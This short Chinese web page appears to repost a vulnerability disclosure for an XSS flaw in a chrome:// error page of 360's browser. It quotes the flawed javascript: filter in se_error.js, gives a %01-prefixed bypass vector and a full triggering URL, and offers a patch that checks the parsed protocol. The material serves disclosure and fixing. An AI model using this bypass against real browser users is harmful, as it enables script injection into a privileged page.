好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

360安全浏览器chrome域XSS - 网站安全 - 自学php

某chrome域页面过滤不严谨导致XSS.

se_error.js 97line:

if(/^\s*javascript:/i.test(this._error_url)){ this._error_url = ''; }

 

使用下面这个向量就可以轻松绕过限制:

 

 

%01javascript:alert(1)

 

使用360极速 浏览器 访问:

 

chrome://se-errors/?&url=%01javascript:alert(document.domain)&error=dnserror

 

点击刷新页面即可触发XSS. 

 

修复方案:

 

 

source: if(/^\s*javascript:/i.test(this._error_url)){ this._error_url = ''; } patch: var link = document.createElement('a'); link.href = this._error_url; if(link.protocol=='javascript:' || link.protocol=='data:'){ this._error_url = ''; }

 

查看更多关于360安全浏览器chrome域XSS - 网站安全 - 自学php的详细内容...

  阅读:65次